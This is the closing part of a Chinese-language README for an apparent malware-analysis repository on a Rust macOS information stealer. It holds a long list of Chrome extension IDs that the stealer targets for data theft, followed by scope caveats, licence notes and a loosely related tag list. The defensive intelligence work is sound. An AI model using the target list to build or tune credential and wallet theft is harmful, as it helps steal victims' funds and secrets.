kkpllkodjeloidieedojogacfhpaihoh klghhnkeealcohjjanjjdaeeggmfmlpl kmphdnilpmdejikjdnlbcnmnabepfgkh kncchdigobghenbbaddojjnnaogfppfj kolfcecahpbgbilkdkalabnfjjklkkae kpfopkelmapcoipemfendmdcghnegimn kppfdiipphfccemcignhifpjkapfbihd kppgpfphbmbcgeglphjnhnhibonmebkn lccbohhgfkdikahanoclbdmaolidjdfl ldcihfaojdpmhjkhioilfjjckehehddg lfmmjkfllhmfmkcobchabopkcefjkoip lgmpcpglpngdoalbgeoldeajfclnhafa lkpmkhpnhknhmibgnmmhdhgdilepfghe llakdhpogpnejheknjbhbadoaomejgbi lmkncnlpeipongihbffpljgehamdebgi lnnnmfcpbkafcpgdilckhmhbkkbpkmid loinekcabhlmhjjbocijdoimmejangoa lpfcbjknijpeeillifnkikgncikgfhdo lpilbniiabackdjcionkobglmddfbcjo magbanejlegnbcppjljfhnmfmghialkl mapbhaebnddapnmifbbkgeedkeplgjmf mcbigmjiafegjnnogedioegffbooigli mcohilncbfahbmgdjkbpemcciiolgcge mdjjoodeandllhefapdpnffjolechflh mdjmfdffdcmnoblignmgpommbefadffd mdnaglckomeedfbogeajfajofmfgpoae mfgccjchihfkkindfppnaooecgfneiii mfiealgchgibibbamfjebflnfjihfedk mgbfflhghaohmaecmaggieniidindaoc mgfbabcnedcejkfibpafadgkhmkifhbd mgffkfbidihjpoaomajlbgchddlicgpn mjgkpalnahacmhkikiommfiomhjipgjn mkchoaaiifodcflmbaphdgeidocajadp mkjjflkhdddfjhonakofipfojoepfndk mkpegjkblkkefacfnmkajcjmabijhclg mlbnicldlpdimbjdcncnklfempedeipj mlhakagmgkmonhdonhkpjeebfphligng mmmjbcfofconkannjonfmjjajpllddbg mnfifefkajgofkcjkemidiaecocnkjeh mnnkpffndmickbiakofclnpoiajlegmg modjfdjcodmehnpccdjngmdfajggaoeh nanjmdknhkinifnkgdcggcfnhdaammmj nankopfjhdflikcokhgohiaoehnjfako nbdhibgjnjpnkajaghbffjbkcgljfgdi nbdpmlhambbdkhkmbfpljckjcmgibalo nebnhfamliijlghikdgcigoebonmoibm nfaepmamdapehcbedhejbjcpnlcldodi nfinomegcaccbhchhgflladpfbajihdf ngakogceekkandcbkniokoghdckjhhok nglnaekfdaelelcaokeemlnopjhekdkj nhlnehondigmgckngjomcpcefcdplmgc nhnkbkgjikgcigadomkphalanndcapjk niiaamnmgebpeejeemoifgdndgeaekhe njoljnomkdoakfphjbapdopdcneceeaf nkbihfbeogaeaoehlefnkodbefgpgknn nkddgncdjgjfcddamfgcmfnlhccnimig nknhiehlklippafakaeklbeglecifhad nlbmnnijcnlegkjjpcfjclmcfggfefdm nlgnepoeokdfodgjkjiblkadkjbdfmgd nopnfnlbinpfoihclomelncopjiioain nphplpgoakhhjchkkhmiggakijnkhfnd ocjdpmoallmgmjbbogfiiaofphbjgchh ocjobpilfplciaddcbafabcegbilnbnb ocmccklecaalljlflmclidjeclpcpdim odbfpeeihdkbihmopkbjmoonfanlbfcl oehdbmfbnjnpahadljbdcjndmepmgjgl ofeeamlegilfbjlgbephmdhchpblfigo ohjgojhmjldjfiningdelbffpnddmiphh ojggmchlghnjlapmfbnjholfjkiidbch oklkeijlcjcpbokmkmnjepjhnggkfkcl oldojieloelkkfeacfinhcngmbkepnlm olgpchjlegmakkhfbahgnjojlefnealp olkbchllhcflpbjfgagahpkjnjioiedg omaabbefbmiijedngplfjmnooppbclkk omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip ``` ## 范围与限制 - 本仓库记录了 **单个恶意软件样本及其嵌入式配置的静态分析和解密**。 - 活动归因是 **分析性的**,基于恢复的基础设施和 TTP 重叠;这 **不是** 执法部门的归因声明。 - 列出的 Chrome 扩展 ID 标识了 **被窃取数据目标的合法扩展**,而非恶意扩展。 - 检测规则应在生产部署前在目标环境中 **验证和调整**。 - STIX 包遵循 STIX 2.1,但使用简化的 ID 以提高可读性;如果需要去冲突,请在导入生产 CTI 平台之前重新生成 UUID。 ## 发布历史 版本更新请参见 [`CHANGELOG.md`](CHANGELOG.md)。 ## 贡献 指南、问题模板和 PR 检查清单请参见 [`CONTRIBUTING.md`](CONTRIBUTING.md)。 ## 许可证 分析文本和脚本在 [MIT License](LICENSE) 下发布。IOC 列表和威胁情报内容仅供防御目的提供;根据许可证条款,允许在商业产品中重复使用。 *在沙盒环境中进行的独立逆向工程。通过静态分析和逐个辅助程序的 CPU 仿真恢复了加密配置。参见 [`scripts/decrypt_all.py`](scripts/decrypt_all.py) 和 [`SECURITY.md`](SECURITY.md)。*
标签:C2基础设施, Contagious Interview, DAST, DNS信息、DNS暴力破解, DNS通配符暴力破解, HTTP工具, HyperHives, IOC, macOS恶意软件, Rust恶意软件, Sigma规则, STIX 2.1, YARA规则, 云安全监控, 云资产清单, 信息窃取器, 加密解密, 加密钱包, 可视化界面, 后渗透, 威胁情报, 安全助手, 开发者工具, 归因分析, 恶意软件分析, 数据窃取, 朝鲜, 样本分析, 目标导入, 网络安全, 网络安全审计, 请求拦截, 逆向工具, 逆向工程, 隐私保护, 静态分析